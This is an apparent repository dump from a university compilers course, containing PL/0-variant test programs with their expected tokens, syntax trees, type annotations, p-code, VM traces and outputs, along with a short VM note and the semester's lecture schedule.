| br 2 55 | movi r0 1 56 | wr r0 57 | br 39 58 | movi r0 1 59 | movi r1 0 60 | cmpi r1 0 61 | beq 5 62 | cmpi r0 0 63 | beq 3 64 | movi r0 1 65 | br 2 66 | movi r0 0 67 | movi r1 1 68 | cmpi r1 1 69 | beq 5 70 | cmpi r0 1 71 | beq 3 72 | movi r0 0 73 | br 2 74 | movi r0 1 75 | cmpi r0 1 76 | bne 20 77 | movi r0 1 78 | movi r1 0 79 | cmpi r1 0 80 | beq 5 81 | cmpi r0 0 82 | beq 3 83 | movi r0 1 84 | br 2 85 | movi r0 0 86 | movi r1 1 87 | cmpi r1 1 88 | beq 5 89 | cmpi r0 1 90 | beq 3 91 | movi r0 0 92 | br 2 93 | movi r0 1 94 | wr r0 95 | br 1 96 | br -93 97 | hlt 98 | -------------------------------------------------------------------------------- /project/tests/project6/mix_1.pl0: -------------------------------------------------------------------------------- 1 | while 20 = (10 + 5 * 2) do 2 | if ((3 + 4 / 2) <> 0) and true then 3 | begin 4 | write 15 % 2 + 7 5 | write (15 % 2 + 7 * 5) = 10 6 | end 7 | else if true or false and true then 8 | begin 9 | write true or false and true 10 | end 11 | -------------------------------------------------------------------------------- /project/tests/project6/st_compound.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 10 4 | wr r0 5 | movi r0 20 6 | wr r0 7 | movi r0 30 8 | wr r0 9 | movi r0 40 10 | wr r0 11 | hlt 12 | -------------------------------------------------------------------------------- /project/tests/project6/st_compound.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | write 10 3 | write 20 4 | write 30 5 | write 40 6 | end 7 | -------------------------------------------------------------------------------- /project/tests/project6/st_if.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 1 4 | cmpi r0 1 5 | bne 4 6 | movi r0 10 7 | wr r0 8 | br 1 9 | hlt 10 | -------------------------------------------------------------------------------- /project/tests/project6/st_if.pl0: -------------------------------------------------------------------------------- 1 | if true then write 10 2 | -------------------------------------------------------------------------------- /project/tests/project6/st_if_else.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 1 4 | cmpi r0 1 5 | bne 4 6 | movi r0 10 7 | wr r0 8 | br 3 9 | movi r0 20 10 | wr r0 11 | hlt 12 | -------------------------------------------------------------------------------- /project/tests/project6/st_if_else.pl0: -------------------------------------------------------------------------------- 1 | if true then write 10 else write 20 2 | -------------------------------------------------------------------------------- /project/tests/project6/st_if_ladder.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 1 4 | cmpi r0 1 5 | bne 4 6 | movi r0 10 7 | wr r0 8 | br 21 9 | movi r0 0 10 | cmpi r0 1 11 | bne 4 12 | movi r0 20 13 | wr r0 14 | br 15 15 | movi r0 1 16 | cmpi r0 1 17 | bne 4 18 | movi r0 30 19 | wr r0 20 | br 9 21 | movi r0 0 22 | cmpi r0 1 23 | bne 4 24 | movi r0 40 25 | wr r0 26 | br 3 27 | movi r0 50 28 | wr r0 29 | hlt 30 | -------------------------------------------------------------------------------- /project/tests/project6/st_if_ladder.pl0: -------------------------------------------------------------------------------- 1 | if true then 2 | write 10 3 | else if false then 4 | write 20 5 | else if true then 6 | write 30 7 | else if false then 8 | write 40 9 | else 10 | write 50 11 | -------------------------------------------------------------------------------- /project/tests/project6/st_while.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | br 1 3 | movi r0 1 4 | cmpi r0 1 5 | bne 4 6 | movi r0 10 7 | wr r0 8 | br -5 9 | hlt 10 | -------------------------------------------------------------------------------- /project/tests/project6/st_while.pl0: -------------------------------------------------------------------------------- 1 | while true do write 10 2 | -------------------------------------------------------------------------------- /project/tests/read.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | | TypedIdent 5 | | | | | identifier = x 6 | | | | | type = INT 7 | | | funcdecls = FuncDeclList 8 | | | statement = CompoundStatement 9 | | | | compound_statement = StatementList 10 | | | | | ReadStatement 11 | | | | | | read_variable = x 12 | | | | | WriteStatement 13 | | | | | | write_expression = VariableFactor 14 | | | | | | | variable = x 15 | -------------------------------------------------------------------------------- /project/tests/read.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | br 1 3 | read r0 4 | st r0 fp 1 5 | ld r0 fp 1 6 | wr r0 7 | hlt 8 | -------------------------------------------------------------------------------- /project/tests/read.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | begin 3 | read x 4 | write x 5 | end 6 | -------------------------------------------------------------------------------- /project/tests/read.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT x 3 | COLON 4 | INT 5 | BEGIN 6 | READ 7 | IDENT x 8 | WRITE 9 | IDENT x 10 | END 11 | EOT 12 | -------------------------------------------------------------------------------- /project/tests/read.types: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @0 3 | TranslationUnit 4 | | scope = 5 | | block = Block 6 | | | vardecls = TypedIdentList 7 | | | | TypedIdent 8 | | | | | symbol = .x 9 | | | | | identifier = x 10 | | | | | type = INT 11 | | | funcdecls = FuncDeclList 12 | | | statement = CompoundStatement 13 | | | | compound_statement = StatementList 14 | | | | | ReadStatement 15 | | | | | | read_symbol = .x 16 | | | | | | read_variable = x 17 | | | | | WriteStatement 18 | | | | | | write_expression = VariableFactor 19 | | | | | | | ershov = 1 20 | | | | | | | datatype = int 21 | | | | | | | variable_symbol = .x 22 | | | | | | | variable = x 23 | -------------------------------------------------------------------------------- /project/tests/read.vmin: -------------------------------------------------------------------------------- 1 | 3 2 | -------------------------------------------------------------------------------- /project/tests/read.vmout: -------------------------------------------------------------------------------- 1 | 3 2 | -------------------------------------------------------------------------------- /project/tests/recursion.pcode: -------------------------------------------------------------------------------- 1 | br 37 2 | psh ln sp 3 | psh fp sp 4 | mov fp sp 5 | br 1 6 | movi r0 0 7 | ld r1 fp -4 8 | cmp r1 r0 9 | bgt 3 10 | movi r0 0 11 | br 2 12 | movi r0 1 13 | cmpi r0 1 14 | bne 14 15 | addi sp sp 1 16 | movi r0 1 17 | ld r1 fp -4 18 | sub r0 r1 r0 19 | st r0 sp 0 20 | addi sp sp 1 21 | ld r0 fp -2 22 | psh r0 sp 23 | bl -21 24 | subi sp sp 1 25 | pop r0 sp 26 | subi sp sp 1 27 | br 1 28 | movi r0 0 29 | st r0 fp -3 30 | mov sp fp 31 | pop fp sp 32 | pop ln sp 33 | ret ln 34 | mov sp fp 35 | pop fp sp 36 | pop ln sp 37 | ret ln 38 | addi sp sp 1 39 | movi r0 2 40 | st r0 sp 0 41 | addi sp sp 1 42 | psh fp sp 43 | bl -41 44 | subi sp sp 1 45 | pop r0 sp 46 | subi sp sp 1 47 | hlt 48 | -------------------------------------------------------------------------------- /project/tests/recursion.pl0: -------------------------------------------------------------------------------- 1 | function f(x : int) : int 2 | begin 3 | if x > 0 then 4 | f(x - 1) 5 | return 0 6 | end 7 | begin 8 | f(2) 9 | end 10 | -------------------------------------------------------------------------------- /project/tests/recursion.tokens: -------------------------------------------------------------------------------- 1 | FUNC 2 | IDENT f 3 | LPAREN 4 | IDENT x 5 | COLON 6 | INT 7 | RPAREN 8 | COLON 9 | INT 10 | BEGIN 11 | IF 12 | IDENT x 13 | GT 14 | NUMBER 0 15 | THEN 16 | IDENT f 17 | LPAREN 18 | IDENT x 19 | MINUS 20 | NUMBER 1 21 | RPAREN 22 | RETURN 23 | NUMBER 0 24 | END 25 | BEGIN 26 | IDENT f 27 | LPAREN 28 | NUMBER 2 29 | RPAREN 30 | END 31 | EOT 32 | -------------------------------------------------------------------------------- /project/tests/recursion.vmout: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/project/tests/recursion.vmout -------------------------------------------------------------------------------- /project/tests/scope_shadowing.pl0: -------------------------------------------------------------------------------- 1 | # scope shadowing, different scopes with different types 2 | var x : int 3 | var y : bool 4 | 5 | function foo(x : bool, y : int) : bool 6 | begin 7 | write 0 8 | 9 | if x then write 1 else write 2 10 | 11 | if not x then write 3 else write 4 12 | 13 | write x 14 | write y 15 | 16 | return true 17 | end 18 | 19 | function bar() : bool 20 | var x : bool 21 | var y : int 22 | begin 23 | write 5 24 | 25 | x := true 26 | y := 6 27 | 28 | if x then write 7 else write 8 29 | 30 | if not x then write 9 else write 10 31 | 32 | write x 33 | write y 34 | 35 | return true 36 | end 37 | 38 | function thud() : bool 39 | begin 40 | write x 41 | write y 42 | end 43 | 44 | # main 45 | begin 46 | x := 11 47 | y := false 48 | 49 | # 11 false 50 | write x 51 | write y 52 | 53 | # 11 false 54 | thud() 55 | 56 | # 0 2 3 false 12 57 | foo(false, 12) 58 | 59 | # 11 false 60 | thud() 61 | 62 | # 0 1 4 true 13 63 | foo(true, 13) 64 | 65 | # 11 false 66 | thud() 67 | 68 | # 5 7 10 true 6 69 | bar() 70 | 71 | # 11 false 72 | thud() 73 | end 74 | -------------------------------------------------------------------------------- /project/tests/scope_shadowing.vmout: -------------------------------------------------------------------------------- 1 | 11 2 | 0 3 | 11 4 | 0 5 | 0 6 | 2 7 | 3 8 | 0 9 | 12 10 | 11 11 | 0 12 | 0 13 | 1 14 | 4 15 | 1 16 | 13 17 | 11 18 | 0 19 | 5 20 | 7 21 | 10 22 | 1 23 | 6 24 | 11 25 | 0 26 | -------------------------------------------------------------------------------- /project/tests/simple.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = WriteStatement 6 | | | | write_expression = NumberFactor 7 | | | | | number_value = 1 8 | -------------------------------------------------------------------------------- /project/tests/simple.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 1 3 | wr r0 4 | hlt 5 | -------------------------------------------------------------------------------- /project/tests/simple.pl0: -------------------------------------------------------------------------------- 1 | write 1 2 | -------------------------------------------------------------------------------- /project/tests/simple.tokens: -------------------------------------------------------------------------------- 1 | WRITE 2 | NUMBER 1 3 | EOT 4 | -------------------------------------------------------------------------------- /project/tests/simple.types: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | TranslationUnit 3 | | scope = 4 | | block = Block 5 | | | vardecls = TypedIdentList 6 | | | funcdecls = FuncDeclList 7 | | | statement = WriteStatement 8 | | | | write_expression = NumberFactor 9 | | | | | ershov = 1 10 | | | | | datatype = int 11 | | | | | number_value = 1 12 | -------------------------------------------------------------------------------- /project/tests/simple.vmout: -------------------------------------------------------------------------------- 1 | 1 2 | -------------------------------------------------------------------------------- /project/tests/simple.vmtrace: -------------------------------------------------------------------------------- 1 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 2 | mem[i]: 0 3 | i: 0 4 | fp: fp 5 | sp: sp 6 | (ip=0) br 1 7 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 8 | mem[i]: 0 9 | i: 0 10 | fp: fp 11 | sp: sp 12 | (ip=1) movi r0 1 13 | registers: r0=1, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=1 14 | mem[i]: 0 15 | i: 0 16 | fp: fp 17 | sp: sp 18 | (ip=2) wr r0 19 | registers: r0=1, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=2 20 | mem[i]: 0 21 | i: 0 22 | fp: fp 23 | sp: sp 24 | done 25 | -------------------------------------------------------------------------------- /project/tests/spacing.ast: -------------------------------------------------------------------------------- 1 | parse error on NUMBER 3 2 | -------------------------------------------------------------------------------- /project/tests/spacing.pcode: -------------------------------------------------------------------------------- 1 | parse error on NUMBER 3 2 | -------------------------------------------------------------------------------- /project/tests/spacing.pl0: -------------------------------------------------------------------------------- 1 | begin 3 2 2 | b 3 | -------------------------------------------------------------------------------- /project/tests/spacing.tokens: -------------------------------------------------------------------------------- 1 | BEGIN 2 | NUMBER 3 3 | NUMBER 2 4 | IDENT b 5 | EOT 6 | -------------------------------------------------------------------------------- /project/tests/spacing.types: -------------------------------------------------------------------------------- 1 | parse error on NUMBER 3 2 | -------------------------------------------------------------------------------- /project/tests/spacing.vmout: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/project/tests/spacing.vmout -------------------------------------------------------------------------------- /project/tests/spacing.vmtrace: -------------------------------------------------------------------------------- 1 | /home/paul/research/teaching/cop3402spring19/cop3402planning/project/src/vm: invalid op name 2 | -------------------------------------------------------------------------------- /project/tests/undef_var.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = WriteStatement 6 | | | | write_expression = VariableFactor 7 | | | | | variable = a 8 | -------------------------------------------------------------------------------- /project/tests/undef_var.pcode: -------------------------------------------------------------------------------- 1 | type error: variable not found in expression 2 | -------------------------------------------------------------------------------- /project/tests/undef_var.pl0: -------------------------------------------------------------------------------- 1 | write a 2 | -------------------------------------------------------------------------------- /project/tests/undef_var.tokens: -------------------------------------------------------------------------------- 1 | WRITE 2 | IDENT a 3 | EOT 4 | -------------------------------------------------------------------------------- /project/tests/undef_var.types: -------------------------------------------------------------------------------- 1 | type error: variable not found in expression 2 | -------------------------------------------------------------------------------- /project/tests/undef_var.vmout: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/project/tests/undef_var.vmout -------------------------------------------------------------------------------- /project/tests/undef_var.vmtrace: -------------------------------------------------------------------------------- 1 | /home/paul/research/teaching/cop3402spring19/cop3402planning/project/src/vm: invalid op name 2 | -------------------------------------------------------------------------------- /project/tests/while.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = WhileStatement 6 | | | | while_condition = BooleanFactor 7 | | | | | boolean_value = true 8 | | | | while_body = WriteStatement 9 | | | | | write_expression = NumberFactor 10 | | | | | | number_value = 1 11 | -------------------------------------------------------------------------------- /project/tests/while.pl0: -------------------------------------------------------------------------------- 1 | while true do 2 | write 1 3 | -------------------------------------------------------------------------------- /project/tests/while.tokens: -------------------------------------------------------------------------------- 1 | WHILE 2 | TRUE 3 | DO 4 | WRITE 5 | NUMBER 1 6 | EOT 7 | -------------------------------------------------------------------------------- /project/tests/while.types: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | TranslationUnit 3 | | scope = 4 | | block = Block 5 | | | vardecls = TypedIdentList 6 | | | funcdecls = FuncDeclList 7 | | | statement = WhileStatement 8 | | | | while_condition = BooleanFactor 9 | | | | | ershov = 1 10 | | | | | datatype = bool 11 | | | | | boolean_value = true 12 | | | | while_body = WriteStatement 13 | | | | | write_expression = NumberFactor 14 | | | | | | ershov = 1 15 | | | | | | datatype = int 16 | | | | | | number_value = 1 17 | -------------------------------------------------------------------------------- /project/tests/whilesum.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | addi sp sp 1 3 | addi sp sp 1 4 | br 1 5 | movi r0 100 6 | st r0 fp 1 7 | movi r0 1 8 | st r0 fp 2 9 | movi r0 0 10 | st r0 fp 3 11 | ld r0 fp 1 12 | ld r1 fp 2 13 | cmp r1 r0 14 | ble 3 15 | movi r0 0 16 | br 2 17 | movi r0 1 18 | cmpi r0 1 19 | bne 10 20 | ld r0 fp 2 21 | ld r1 fp 3 22 | add r0 r1 r0 23 | st r0 fp 3 24 | movi r0 1 25 | ld r1 fp 2 26 | add r0 r1 r0 27 | st r0 fp 2 28 | br -17 29 | ld r0 fp 3 30 | wr r0 31 | movi r0 1 32 | ld r1 fp 1 33 | add r0 r1 r0 34 | ld r1 fp 1 35 | mul r0 r1 r0 36 | movi r1 2 37 | div r0 r0 r1 38 | wr r0 39 | hlt 40 | -------------------------------------------------------------------------------- /project/tests/whilesum.pl0: -------------------------------------------------------------------------------- 1 | var N : int 2 | var x : int 3 | var sum : int 4 | begin 5 | N := 100 6 | x := 1 7 | sum := 0 8 | while x <= N do 9 | begin 10 | sum := sum + x 11 | x := x + 1 12 | end 13 | write sum 14 | write ((N)*(N+1))/2 15 | end 16 | -------------------------------------------------------------------------------- /project/tests/whilesum.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT N 3 | COLON 4 | INT 5 | VAR 6 | IDENT x 7 | COLON 8 | INT 9 | VAR 10 | IDENT sum 11 | COLON 12 | INT 13 | BEGIN 14 | IDENT N 15 | ASSIGN 16 | NUMBER 100 17 | IDENT x 18 | ASSIGN 19 | NUMBER 1 20 | IDENT sum 21 | ASSIGN 22 | NUMBER 0 23 | WHILE 24 | IDENT x 25 | LTE 26 | IDENT N 27 | DO 28 | BEGIN 29 | IDENT sum 30 | ASSIGN 31 | IDENT sum 32 | PLUS 33 | IDENT x 34 | IDENT x 35 | ASSIGN 36 | IDENT x 37 | PLUS 38 | NUMBER 1 39 | END 40 | WRITE 41 | IDENT sum 42 | WRITE 43 | LPAREN 44 | LPAREN 45 | IDENT N 46 | RPAREN 47 | MULT 48 | LPAREN 49 | IDENT N 50 | PLUS 51 | NUMBER 1 52 | RPAREN 53 | RPAREN 54 | DIV 55 | NUMBER 2 56 | END 57 | EOT 58 | -------------------------------------------------------------------------------- /project/tests/whilesum.vmout: -------------------------------------------------------------------------------- 1 | 5050 2 | 5050 3 | -------------------------------------------------------------------------------- /project/tests/whilex.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | | TypedIdent 5 | | | | | identifier = x 6 | | | | | type = INT 7 | | | funcdecls = FuncDeclList 8 | | | statement = CompoundStatement 9 | | | | compound_statement = StatementList 10 | | | | | AssignStatement 11 | | | | | | assign_variable = x 12 | | | | | | assign_expression = NumberFactor 13 | | | | | | | number_value = 1 14 | | | | | WhileStatement 15 | | | | | | while_condition = BinaryExpression 16 | | | | | | | binary_op = LT 17 | | | | | | | binary_left = VariableFactor 18 | | | | | | | | variable = x 19 | | | | | | | binary_right = NumberFactor 20 | | | | | | | | number_value = 8 21 | | | | | | while_body = CompoundStatement 22 | | | | | | | compound_statement = StatementList 23 | | | | | | | | WriteStatement 24 | | | | | | | | | write_expression = VariableFactor 25 | | | | | | | | | | variable = x 26 | | | | | | | | AssignStatement 27 | | | | | | | | | assign_variable = x 28 | | | | | | | | | assign_expression = BinaryExpression 29 | | | | | | | | | | binary_op = PLUS 30 | | | | | | | | | | binary_left = VariableFactor 31 | | | | | | | | | | | variable = x 32 | | | | | | | | | | binary_right = NumberFactor 33 | | | | | | | | | | | number_value = 1 34 | -------------------------------------------------------------------------------- /project/tests/whilex.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | br 1 3 | movi r0 1 4 | st r0 fp 1 5 | movi r0 8 6 | ld r1 fp 1 7 | cmp r1 r0 8 | blt 3 9 | movi r0 0 10 | br 2 11 | movi r0 1 12 | cmpi r0 1 13 | bne 8 14 | ld r0 fp 1 15 | wr r0 16 | movi r0 1 17 | ld r1 fp 1 18 | add r0 r1 r0 19 | st r0 fp 1 20 | br -15 21 | hlt 22 | -------------------------------------------------------------------------------- /project/tests/whilex.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | begin 3 | x := 1 4 | while x < 8 do 5 | begin 6 | write x 7 | x := x + 1 8 | end 9 | end 10 | -------------------------------------------------------------------------------- /project/tests/whilex.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT x 3 | COLON 4 | INT 5 | BEGIN 6 | IDENT x 7 | ASSIGN 8 | NUMBER 1 9 | WHILE 10 | IDENT x 11 | LT 12 | NUMBER 8 13 | DO 14 | BEGIN 15 | WRITE 16 | IDENT x 17 | IDENT x 18 | ASSIGN 19 | IDENT x 20 | PLUS 21 | NUMBER 1 22 | END 23 | END 24 | EOT 25 | -------------------------------------------------------------------------------- /project/tests/whilex.vmout: -------------------------------------------------------------------------------- 1 | 1 2 | 2 3 | 3 4 | 4 5 | 5 6 | 6 7 | 7 8 | -------------------------------------------------------------------------------- /project/vm.md: -------------------------------------------------------------------------------- 1 | ## VM 2 | 3 | The stack pointer, by convention, points to the _last value that was stored_. 4 | -------------------------------------------------------------------------------- /schedule.csv: -------------------------------------------------------------------------------- 1 | Week,Tuesday Lecture,Thursday Lecture 2 | 01/08,Course overview,Tools 3 | 01/15,PL/0 variant programming language,"Regular expressions, Project 1 announcement" 4 | 01/22,Automata,Lexing and ASCII encoding 5 | 01/29,"Grammars, Project 1 due, Project 2 announcement",Top-down parsing 6 | 02/05,ASTs,Bottom-up parsing 7 | 02/12,"Types, Project 2 due, Project 3 announcement",Type-checking: symbol tables and declarations 8 | 02/19,Type-checking: expressions and statements,Compiler front-end review and Q&A 9 | 02/26,"P-code machine, Project 3 due, Project 4 announcement",Functions 10 | 03/05,"Code generation: functions, Project 4 due, Project 5 announcement",Code generation: expressions 11 | 03/12,, 12 | 03/19,Code generation: expressions,"Code generation: statements, Project 6announcement" 13 | 03/26,Code generation: everything,Compiler back-end review and Q&A 14 | 04/02,"Assembly, object files, linking, and loading, Project 5 due",Optimization 15 | 04/09,Software security,Program analysis 16 | 04/16,"Final review, Project 6 due",Final review 17 | --------------------------------------------------------------------------------